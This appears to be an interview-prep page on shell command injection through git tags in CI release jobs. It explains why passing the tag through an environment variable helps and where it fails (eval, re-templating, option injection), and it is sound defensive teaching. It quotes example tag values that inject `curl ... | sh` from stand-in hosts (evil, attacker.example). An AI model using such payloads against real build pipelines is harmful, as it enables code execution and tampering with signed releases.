skip to content

A release job builds a shell command from the pushed git tag; what does passing that tag through an environment variable fix, and what does it not?

level: middleimportance: must knowfreq 58%

answer

  1. which parser runs first?
  2. the value is code before the shell exists
  3. environment variable as bind parameter
  4. eval and second templates undo it
  5. the prize is the artifact, not the token

basics

~20 s

An environment variable keeps the tag out of the script text, so the shell reads it as data instead of parsing it as code. It fixes nothing else: eval, or re-embedding the value in another interpreter, reopens the hole.

solid answer

~50 s

The bug is an ordering one. The pipeline engine expands the template first and produces the literal script; only then does a shell parse it. So a tag such as `v1.2.0"; curl -s http://evil/x | sh; #` is not a string the shell mishandles — it is program text by the time any shell exists, which is why quoting inside the template cannot save you. Setting the tag as an environment variable and referring to `"$TAG"` moves it into the process environment; the shell dereferences it after parsing, so its contents are never syntax. What that does not fix: `eval "$TAG"`, pasting it into another template such as a JSON body or a linker-flag string, writing it into a file later sourced, or option injection when it starts with a dash. And on a release job the prize is not the credential — it is the binary that gets signed afterwards.

go deeper

for a junior

Remember the order: the pipeline engine pastes the value in first, and the shell sees a finished script. That single fact explains why the attacker's text is code and why quoting in the template does not help.

for a middle

Explain the environment-variable handoff mechanically — script text versus process environment, parse then expand — and be able to list at least two ways a later step undoes it.

for a senior

Demonstrate blast-radius thinking on a release job: what the injected code can do to the artifact before signing, why log review will not catch it, and how you split credential-holding work away from steps that touch contributor data.

for a principal

Argue for the structural position: a written rule that untrusted fields are never interpolated, one reviewed step template that teams copy, and least-privilege build tokens so that execution is worth less when it happens.

## Two evaluations, not one A pipeline step that runs a script has two interpreters stacked on top of each other, and they run in order: 1. **The pipeline engine** reads the step definition and expands every template expression, producing a finished block of script text. 2. **The shell** is handed that text and parses it. Expression injection lives entirely in the gap. When the engine substitutes `v1.2.0` into `docker build --label version=v1.2.0`, nothing is wrong. When the tag is `v1.2.0"; curl -s http://attacker.example/x | sh; #`, the engine substitutes exactly those bytes, and the script the shell receives contains a second command. The shell is not being tricked — it is faithfully running the program it was given. This is why the instinct "I'll quote it in the shell" fails: your quotes are in the template, and the attacker's string arrives inside them carrying its own quote characters. It is the same shape as SQL injection, and it has the same real fix. Escaping is a losing game because you must model every metacharacter of the target interpreter. Binding is a winning one because the value never enters the program text at all. ## What the environment-variable handoff actually does Declaring the value as an environment variable on the step, and referencing it as `"$TAG"` in the script body, changes which channel carries the data. The engine writes the string into the process environment of the shell; the script text now contains only the three characters `$TAG` inside quotes. The shell parses the script — at which point the tag is not present — and only afterwards, during expansion, does it fetch the value and hand it to the command as a single argument. Contents are never re-parsed as syntax. That is the bind-parameter of shell scripting. ## The five ways it comes back 1. **`eval` and friends.** `eval "$TAG"`, `sh -c "$TAG"`, `bash -c "echo $TAG"` explicitly ask the shell to parse the value as a program. The handoff is undone by hand. 2. **A second template layer.** The tag is safely in `$TAG`, and then the script builds a JSON body, a YAML fragment, a query or a linker flag string by concatenating `$TAG` into it. The shell is safe; the next parser is not. The taint did not end at the shell. 3. **Unquoted expansion.** `--label version=$TAG` is habitually wrong. For a git ref the practical risk is small, because the ref grammar happens to exclude spaces and glob characters — but you are then relying on someone else's grammar rather than your own control, and the identical line with a commit message, which may contain anything, is exploitable. Quote every expansion; do not audit which fields happen to be safe. 4. **Option injection.** A value beginning with `-` is read by many programs as a flag rather than an operand. This is not code execution, but it can redirect output, change a target, or turn a benign command into a destructive one. Terminate options with `--` where the program supports it, or validate the shape. 5. **Deferred sinks.** Writing the value into a file that a later step sources, into a generated script, or into a build configuration that another tool evaluates simply moves the parse to a place nobody reviews. ## What the attacker actually gets on a release job On a job that cuts a release of a command-line binary, the interesting outcome is not the credential. Code running inside that job holds the release credential, yes — but credentials rotate and their misuse leaves a trail. The valuable move is quieter: alter the compiled binary in the workspace, or the source it is built from, before the signing and publishing steps run. Everything downstream then works correctly on the attacker's artifact. The signature is valid, the checksum published alongside it matches, and consumers verifying it get exactly the answer the process promised. That reframes who the attacker needs to be. Anyone who can push a tag is enough — a junior release engineer, an automation token, a colleague's compromised session. Tag-push permission is rarely modelled as build-server code execution, but here it is precisely that. ## Detection is weak, so prevention carries the weight An injected command is visible in the job log only if it prints something, and the injected code can suppress output, delete its own step's log lines where the platform allows it, or simply do nothing on the first run to test reachability. Log review will not reliably find this. What does work is structural: forbid interpolation of untrusted fields as a written rule, make the environment-variable form the template every step is copied from, keep the credential-holding steps in a separate job from the one that touches contributor data, and give the build token the minimum scope so that execution buys less. ## In an interview Say the ordering sentence first — expansion happens before the shell parses — because it is the sentence that proves you understand the class rather than the workaround. Then give the handoff, then volunteer at least two of its limits unprompted. Candidates who stop at "use an env var" sound like they have read the advice; candidates who name `eval` and the second template layer sound like they have fixed one.

  • Does an unquoted `$TAG` matter, given that a git ref cannot contain a space or a glob character?
    For a ref name the residual risk is genuinely small — but the protection is the forge's ref grammar, not anything you control, and it does not transfer. Copy the same unquoted line into a step handling a commit message, which may contain almost anything, and it is exploitable. Quote every expansion so correctness does not depend on which field happens to be constrained.
  • The job also embeds the tag in a version string passed to the compiler. Is that covered by the environment variable?
    Only if the flag string is not built by concatenation. If the script assembles one long argument by pasting `$TAG` into it, you have moved the sink from the shell to the next program's argument parser — with option injection available if the tag starts with a dash. Build argument arrays, keep the value as its own operand, and validate the tag's shape when you know it.
  • What is the worst realistic outcome of code execution in this release job?
    Tampering, not theft. The job later signs and publishes the binary, so code running earlier can modify the artifact and let the legitimate process vouch for it. A stolen release credential can be rotated and its use audited; a signed backdoor is already on consumers' machines and passes every verification they perform.
  • Would running the job on an ephemeral runner fix this?
    No. Ephemeral runners bound persistence — the attacker cannot leave a foothold for the next build — but the injected code still runs inside the job with its secrets, its token and its write access to the artifact. It is a blast-radius control layered on top of the fix, never a substitute for it.

It is SQL injection with a shell instead of a database: escaping quotes is the losing move, and the environment variable is the bind parameter that keeps the value out of the statement entirely.

saying these in an interview costs you the question

  • Says escaping quotes inside the template is enough
  • Thinks shell quoting protects a value spliced in before parsing
  • Believes an environment variable is safe even inside eval
  • Focuses only on secret theft, ignoring artifact tampering
  • Trusts a tag because only maintainers can push tags
  • Claims the job log would show the injected command

context